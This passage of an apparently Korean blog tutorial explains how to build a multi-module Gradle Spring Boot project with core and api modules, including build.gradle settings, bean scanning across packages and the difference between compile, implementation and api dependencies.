&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;allprojects&lt;/code&gt; : 현재의 &lt;code&gt;root&lt;/code&gt; 프로젝트와 앞으로 추가될 &lt;code&gt;서브 모듈&lt;/code&gt;에 대한 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;subprojects&lt;/code&gt; : 전체 &lt;code&gt;서브 모듈&lt;/code&gt; 에 해당되는 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 모듈들을 생성해보자. 모듈은 &lt;code&gt;core&lt;/code&gt;, &lt;code&gt;api&lt;/code&gt; 를 생성해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;core&lt;/code&gt;는 &lt;code&gt;spring-boot-starter&lt;/code&gt; 의존성을 가지고 있고 이것을 &lt;code&gt;api&lt;/code&gt;가 사용할 수 있게 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;root&lt;/code&gt; 폴더를 우클릭 &amp;rarr; New &amp;rarr; Module을 클릭해서 Gradle Module을 생성해주자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;698&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLo0L/btrozxzP2oH/FKv269rbA89su03gs3k3VK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLo0L/btrozxzP2oH/FKv269rbA89su03gs3k3VK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLo0L/btrozxzP2oH/FKv269rbA89su03gs3k3VK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLo0L%2FbtrozxzP2oH%2FFKv269rbA89su03gs3k3VK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;238&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;698&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;1252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nZU3b/btrotlVqhcp/YOQiwP41PJchQlgZJHEpsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nZU3b/btrotlVqhcp/YOQiwP41PJchQlgZJHEpsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nZU3b/btrotlVqhcp/YOQiwP41PJchQlgZJHEpsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnZU3b%2FbtrotlVqhcp%2FYOQiwP41PJchQlgZJHEpsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;421&quot; data-origin-width=&quot;1472&quot; data-origin-height=&quot;1252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAS0aV/btrosxaHy85/Ms7EI4Llk0dywFB4ecJnc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAS0aV/btrosxaHy85/Ms7EI4Llk0dywFB4ecJnc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAS0aV/btrosxaHy85/Ms7EI4Llk0dywFB4ecJnc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAS0aV%2FbtrosxaHy85%2FMs7EI4Llk0dywFB4ecJnc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;279&quot; data-origin-width=&quot;1468&quot; data-origin-height=&quot;710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성하면 다음가 같은 폴더 구조가 될 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ECyCr/btrouy74haD/OE8Zzpzb9AcQbpQcjLmxi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ECyCr/btrouy74haD/OE8Zzpzb9AcQbpQcjLmxi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ECyCr/btrouy74haD/OE8Zzpzb9AcQbpQcjLmxi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FECyCr%2Fbtrouy74haD%2FOE8Zzpzb9AcQbpQcjLmxi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;474&quot; height=&quot;252&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;settings.gradle&lt;/code&gt;을 보면 다음과 같이 방금 생성한 &lt;code&gt;core&lt;/code&gt;가 &lt;code&gt;include&lt;/code&gt; 된것을 확인할 수 있다. 이것은 하위 모듈로 선언한다는 의미이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgk2xC/btrozw11dKt/73NZsKxBZ14bIgkaCRT3M0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgk2xC/btrozw11dKt/73NZsKxBZ14bIgkaCRT3M0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgk2xC/btrozw11dKt/73NZsKxBZ14bIgkaCRT3M0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcgk2xC%2Fbtrozw11dKt%2F73NZsKxBZ14bIgkaCRT3M0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;94&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IntelliJ의 Gradle Tab에서도 보면 다음과 같이 &lt;code&gt;core&lt;/code&gt;가 &lt;code&gt;root&lt;/code&gt; 하위에 존재하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qONSI/btrosV92SII/5AG1SkcLG3QGCXX0RDobK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qONSI/btrosV92SII/5AG1SkcLG3QGCXX0RDobK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qONSI/btrosV92SII/5AG1SkcLG3QGCXX0RDobK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqONSI%2FbtrosV92SII%2F5AG1SkcLG3QGCXX0RDobK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;301&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;core&lt;/code&gt;의 &lt;code&gt;build.gradle&lt;/code&gt; 에 아래처럼 의존성만 추가하자&lt;/p&gt;
&lt;pre class=&quot;puppet&quot;&gt;&lt;code&gt;//core build.gradle
dependencies {
    compile 'org.springframework.boot:spring-boot-starter-web:2.6.1'
}
bootJar {
    enabled = false
}

jar {
    enabled = true
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 &lt;code&gt;bootJar&lt;/code&gt;와 &lt;code&gt;jar&lt;/code&gt;다 &lt;code&gt;bootJar&lt;/code&gt;은 실행가능한 &lt;code&gt;jar&lt;/code&gt;를 만들려 하기 때문에 &lt;code&gt;main()&lt;/code&gt;이 필요하다 그렇기 때문에 &lt;code&gt;main()&lt;/code&gt;이 없는 &lt;code&gt;core&lt;/code&gt;는 &lt;code&gt;enabled&lt;/code&gt;를 &lt;code&gt;false&lt;/code&gt;로 해줘야하고 결론적으로 저걸 넣지 않으면 추후 &lt;code&gt;core&lt;/code&gt;에 있는 &lt;code&gt;Bean Class&lt;/code&gt;를 다른 모듈에서 사용할 때 에러가 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 의존성을 추가할 때 &lt;code&gt;implementation&lt;/code&gt; 대신 &lt;code&gt;compile&lt;/code&gt;을 사용했는데 그 이유에 대해서는 밑에서 설명하겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;gradle&lt;/code&gt;을 갱신하면 &lt;code&gt;root&lt;/code&gt;의 &lt;code&gt;build.gradle subprojects&lt;/code&gt;에 선언한 &lt;code&gt;lombok&lt;/code&gt;과 &lt;code&gt;spring-boot-starter&lt;/code&gt;가 추가된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btCwbz/btroyHbByuJ/UbotpNuNhG28dhlsjCKQUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btCwbz/btroyHbByuJ/UbotpNuNhG28dhlsjCKQUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btCwbz/btroyHbByuJ/UbotpNuNhG28dhlsjCKQUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtCwbz%2FbtroyHbByuJ%2FUbotpNuNhG28dhlsjCKQUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;460&quot; height=&quot;306&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 &lt;code&gt;api&lt;/code&gt; 모듈도 &lt;code&gt;core&lt;/code&gt;가 똑같은 과정을 통해 만들면 다음과 같은 구조가 될 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPVNLM/btrorN5KrZY/Yv1AjU1l0Bcleh9fSHk1M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPVNLM/btrorN5KrZY/Yv1AjU1l0Bcleh9fSHk1M1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPVNLM/btrorN5KrZY/Yv1AjU1l0Bcleh9fSHk1M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPVNLM%2FbtrorN5KrZY%2FYv1AjU1l0Bcleh9fSHk1M1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;314&quot; height=&quot;361&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;api&lt;/code&gt;의 &lt;code&gt;build.gradle&lt;/code&gt;은 다음과 같이 &lt;b&gt;아무런 의존성을 넣지 않았다.&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;//api build.gradle
dependencies {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;root&lt;/code&gt;의 &lt;code&gt;build.gradle&lt;/code&gt; 맨 아래에 다음을 추가해보자.&lt;/p&gt;
&lt;pre class=&quot;gradle&quot;&gt;&lt;code&gt;project(':api') {
    dependencies {
        implementation project(':core')
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;api&lt;/code&gt; 모듈에 &lt;code&gt;core&lt;/code&gt;의 의존성을 추가하라는 의미이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;갱신해보면 아래처럼 &lt;code&gt;api&lt;/code&gt;에 &lt;code&gt;spring-boot-starter&lt;/code&gt; 추가된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFCGg6/btroxkasiOM/IbnBRmgKUJ0RmsqWuprjL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFCGg6/btroxkasiOM/IbnBRmgKUJ0RmsqWuprjL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFCGg6/btroxkasiOM/IbnBRmgKUJ0RmsqWuprjL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFCGg6%2FbtroxkasiOM%2FIbnBRmgKUJ0RmsqWuprjL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;334&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;api&lt;/code&gt;에서 &lt;code&gt;@SpringBootApplication&lt;/code&gt;을 선언했을 때 정상적으로 사용할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1770&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pCqSS/btroxAYrr96/onaKy8diPlxkGfP9hrcPcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pCqSS/btroxAYrr96/onaKy8diPlxkGfP9hrcPcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pCqSS/btroxAYrr96/onaKy8diPlxkGfP9hrcPcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpCqSS%2FbtroxAYrr96%2FonaKy8diPlxkGfP9hrcPcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;289&quot; data-origin-width=&quot;1770&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;core&lt;/code&gt;에 &lt;code&gt;Bean Class&lt;/code&gt;를 만들고 &lt;code&gt;api&lt;/code&gt;에서 호출하는 예제는 다음과 같다. 간단하게 &lt;code&gt;@Service&lt;/code&gt; &lt;code&gt;Bean을&lt;/code&gt; 만들어 테스트한 코드다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;//core 모듈
@Service
public class TestService {
    public String test() {
        return &quot;core의 Bean Class 테스트&quot;;
    }
}

//api 모듈
@RestController
@RequiredArgsConstructor
public class TestController {
    private final TestService testService;
    @GetMapping(&quot;/test&quot;)
    public String test() {
        return testService.test();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구조로 보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;1168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bY7Or4/btrosw30Xbo/Oj09UgOk9gjInFMu1IL2aK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bY7Or4/btrosw30Xbo/Oj09UgOk9gjInFMu1IL2aK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bY7Or4/btrosw30Xbo/Oj09UgOk9gjInFMu1IL2aK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbY7Or4%2Fbtrosw30Xbo%2FOj09UgOk9gjInFMu1IL2aK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;245&quot; height=&quot;586&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;api&lt;/code&gt; 를 실행후 &lt;code&gt;/test&lt;/code&gt;를 호출하면 아래의 결과를 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QckGj/btrotkvwu6l/FmRHBKKgU6vbKmhBh0RY0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QckGj/btrotkvwu6l/FmRHBKKgU6vbKmhBh0RY0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QckGj/btrotkvwu6l/FmRHBKKgU6vbKmhBh0RY0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQckGj%2Fbtrotkvwu6l%2FFmRHBKKgU6vbKmhBh0RY0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;295&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 주의할 점은 &lt;code&gt;core&lt;/code&gt;와 &lt;code&gt;api&lt;/code&gt;의 패키지 구조다. 현재 상위 패키지가 &lt;code&gt;kr.multi.ex&lt;/code&gt;로 통일 된 것을 볼 수있는데 이렇게 통일하지 않으면 api에서 core의 bean을 읽어오지 못해 에러가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;958&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ruix5/btroxAxjVfD/vcBLttZ1sGIkWTNMYOnAmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ruix5/btroxAxjVfD/vcBLttZ1sGIkWTNMYOnAmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ruix5/btroxAxjVfD/vcBLttZ1sGIkWTNMYOnAmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fruix5%2FbtroxAxjVfD%2FvcBLttZ1sGIkWTNMYOnAmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;263&quot; height=&quot;506&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;958&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 위처럼 &lt;code&gt;api&lt;/code&gt;의 패키지를 &lt;code&gt;kr.multi.ex2&lt;/code&gt;로 변경하면 패키지가 공통이 되지 않기 때문에 아래와 같은 에러를 호출한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cylW5o/btroyHJts2u/g9F46C0nwCo6bklHUwkM41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cylW5o/btroyHJts2u/g9F46C0nwCo6bklHUwkM41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cylW5o/btroyHJts2u/g9F46C0nwCo6bklHUwkM41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcylW5o%2FbtroyHJts2u%2Fg9F46C0nwCo6bklHUwkM41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;175&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;491&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 더 정확히 말하면 &lt;code&gt;Application&lt;/code&gt; 클래스의 위치한 곳의 패키지가 공통으로 맞춰져 있어야한다. 만약 패키지를 못맞춘다면 아래와 같이 &lt;code&gt;scanBasePackages&lt;/code&gt; 옵션을 통해 &lt;code&gt;Bean&lt;/code&gt;을 스캔할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;java&quot;&gt;&lt;code&gt;@SpringBootApplication(scanBasePackages = &quot;kr.multi&quot;)
public class ApiApplication {
    public static void main(String[] args) {
        SpringApplication.run(ApiApplication.class);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;core의 의존성을 compile로 선언한 이유&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 &lt;code&gt;core&lt;/code&gt; 의존성을 추가할 때 &lt;code&gt;compile&lt;/code&gt;을 사용했는데 그 이유는 &lt;code&gt;implementation&lt;/code&gt;은 직접 의존하는 모듈(&lt;code&gt;core&lt;/code&gt;)외에서는 사용할 수 없기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 &lt;code&gt;core&lt;/code&gt;의 &lt;code&gt;spring-boot-starter&lt;/code&gt;를 &lt;code&gt;implementation&lt;/code&gt;으로 선언할 경우 &lt;code&gt;api&lt;/code&gt;에서는 &lt;code&gt;spring-boot-starter&lt;/code&gt;를 가져오지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qyMt7/btroxj3C4Zp/PJhL6rgO3w4pFHkACOtGM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qyMt7/btroxj3C4Zp/PJhL6rgO3w4pFHkACOtGM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qyMt7/btroxj3C4Zp/PJhL6rgO3w4pFHkACOtGM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqyMt7%2Fbtroxj3C4Zp%2FPJhL6rgO3w4pFHkACOtGM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;500&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 &lt;code&gt;core&lt;/code&gt;의 의존성을 &lt;code&gt;implementation&lt;/code&gt;으로 할 경우 &lt;code&gt;api&lt;/code&gt;에서는 못가져오는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 &lt;code&gt;compile&lt;/code&gt;은 &lt;code&gt;gradle&lt;/code&gt;에서 권장되지 않는 방식이다. 심지어 현재는 예제의 &lt;code&gt;gradle&lt;/code&gt;은 &lt;code&gt;6.x&lt;/code&gt;버전이라 &lt;code&gt;compile&lt;/code&gt;을 사용할 수 있지만 &lt;code&gt;7.0&lt;/code&gt; 버전 이상부터는 &lt;code&gt;compile&lt;/code&gt;을 사용할 수 없다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;그럼 어떻게 해야하나?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;7.0&lt;/code&gt;버전 이상부터는 &lt;code&gt;api&lt;/code&gt; 키워드를 사용할 수 있다. &lt;code&gt;api&lt;/code&gt;는 &lt;code&gt;compile&lt;/code&gt;이랑 비슷한 키워드라 생각하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;gradle&lt;/code&gt; 버전을 올리고 싶다면 &lt;code&gt;root&lt;/code&gt; 프로젝트 위치에서 해당 명령어를 통해 &lt;code&gt;gradle&lt;/code&gt; 버전을 변경할 수 있다.&lt;/p&gt;
